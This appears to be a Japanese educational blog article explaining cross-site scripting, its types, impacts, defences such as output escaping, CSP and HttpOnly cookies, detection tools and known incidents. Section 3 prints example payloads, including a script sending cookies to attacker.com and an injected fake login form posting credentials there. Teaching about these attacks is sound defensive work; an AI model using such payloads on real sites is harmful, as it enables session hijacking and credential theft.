クロスサイトスクリプティング(XSS: Cross-Site Scripting)とは?

投稿者: | 2024年12月7日

クロスサイトスクリプティング(XSS)は、Webアプリケーションの脆弱性を悪用し、攻撃者が悪意のあるスクリプトを他のユーザーのブラウザで実行させる攻撃手法です。
この攻撃により、セッションの乗っ取り個人情報の盗難フィッシングなどの被害が発生します。


1. XSSの仕組み

  1. 攻撃者が悪意のあるスクリプトを挿入
    • 入力フォームやURLパラメータを介してWebページにスクリプトを埋め込む。
  2. 他のユーザーがスクリプトを実行
    • 攻撃者のスクリプトが、ページを閲覧したユーザーのブラウザ上で実行される。
  3. 被害発生
    • セッション情報やクッキーの盗難、偽のフォームでの個人情報収集など。

2. XSSの種類

種類説明
反射型(Non-Persistent XSS)攻撃スクリプトがWebサーバを介さず、URLやリクエストに埋め込まれ、レスポンスに反映される。攻撃用URLをユーザーに送信し、クリックさせる。
格納型(Persistent XSS)攻撃スクリプトがWebサーバに保存され、多くのユーザーに対して自動的に実行される。掲示板やコメント欄に悪意のあるスクリプトを投稿し、他の閲覧者に影響を与える。
DOM型(Document Object Model XSS)クライアントサイド(JavaScript)で直接DOM操作を悪用してスクリプトを実行。ページがユーザー入力を処理する際、入力値を安全にエスケープしない場合に発生。

3. XSSの例

3.1. 単純なスクリプト挿入の例

ユーザーが以下を入力フォームに挿入:

<script>alert('XSS');</script>

結果

  • 他のユーザーがページを閲覧すると、ブラウザでアラートが表示される。

3.2. クッキーの盗難

攻撃スクリプト:

<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

結果

  • 被害者のクッキー情報が攻撃者に送信される。

3.3. フィッシング攻撃

攻撃スクリプト:

<script>
document.body.innerHTML = "<form action='http://attacker.com' method='POST'>" +
"<input name='username'>" +
"<input name='password' type='password'>" +
"<input type='submit'>" +
"</form>";
</script>

結果

  • 被害者が偽のフォームに入力した情報が攻撃者に送信される。

4. XSSの影響

4.1. 個人への影響

  • セッションIDやクッキーを盗まれることで、アカウントが乗っ取られる。
  • 偽のフォームで個人情報が盗まれる。

4.2. 企業への影響

  • 顧客データの流出による信頼失墜。
  • 法的責任や規制違反に伴う罰金。
  • サービス停止やセキュリティ対策コストの増加。

4.3. 社会への影響

  • 公共システムやオンラインサービスが標的となり、社会的混乱を引き起こす可能性。

5. XSSの対策

5.1. 入力の検証とサニタイズ

  1. ホワイトリスト方式
    • 許可された入力値のみを受け入れる。
  2. 特殊文字のエスケープ
    • HTML特殊文字を無害化(例:<&lt;)。

5.2. 出力時のエスケープ

  • データベースや外部から取得したデータを表示する際にHTMLエスケープを適用。
    • 例:PHPphpコードをコピーするecho htmlspecialchars($data, ENT_QUOTES, 'UTF-8');

5.3. コンテンツセキュリティポリシー(CSP)の導入

  • ブラウザに許可されたスクリプトの実行元を制限。
    • 例:CSPヘッダーhttpコードをコピーするContent-Security-Policy: script-src 'self';

5.4. HTTPOnlyフラグの利用

  • クッキーの盗難を防ぐため、クッキーにHttpOnly属性を設定。
    • 例:PHPphpコードをコピーするsetcookie("session", "value", ["httponly" => true]);

5.5. JavaScriptフレームワークの利用

  • AngularやReactなどのフレームワークはデフォルトでXSS対策が施されている。

5.6. セキュリティツールの利用

  • Webアプリケーションファイアウォール(WAF)を導入し、攻撃を検知・防止。

6. XSS検出ツール

ツール名説明
Burp SuiteWebアプリケーションの脆弱性診断ツールで、XSSを含む脆弱性を検出可能。
OWASP ZAP無料で使えるペネトレーションテストツール。XSS攻撃の模擬が可能。
Acunetix高度なWebアプリケーションスキャナーで、XSSやSQLインジェクションを検出。
XSS-ValidatorXSS脆弱性の簡易検証ツール。

7. XSSの有名な事例

事例名概要
MySpace事件(2005年)サムワーム(Samy Worm)というXSSスクリプトにより、約100万人のMySpaceアカウントが影響を受けた。
Twitter XSS事件(2010年)悪意のあるスクリプトがツイートに埋め込まれ、ユーザーのセッション情報が盗まれた。
Yahoo!事件(2013年)Yahoo!のWebサービスでXSS脆弱性を利用した攻撃により、数百万のアカウント情報が流出。

8. XSSの今後のトレンド

  1. DOM型XSSの増加
    • クライアントサイドでのスクリプト操作が主流となる中で、DOM型XSSが増加。
  2. 複雑化する攻撃手法
    • 他の攻撃(CSRF、フィッシング)との組み合わせが一般化。
  3. AIの活用
    • AIを利用した攻撃パターンの生成や検出回避技術の向上。
  4. IoTやAPIへの影響
    • IoTデバイスやAPIエンドポイントを標的にしたXSS攻撃。

9. まとめ

クロスサイトスクリプティング(XSS)は、Webアプリケーションにおける最も一般的な脆弱性の一つであり、攻撃者にとって非常に効果的な手法です。
入力検証、出力エスケープ、CSPの導入といった対策を適切に実施することで、多くの攻撃を防ぐことが可能です。

また、定期的なセキュリティ診断や教育を通じて、XSSリスクを軽減し、安全なWebアプリケーションを構築することが重要です。

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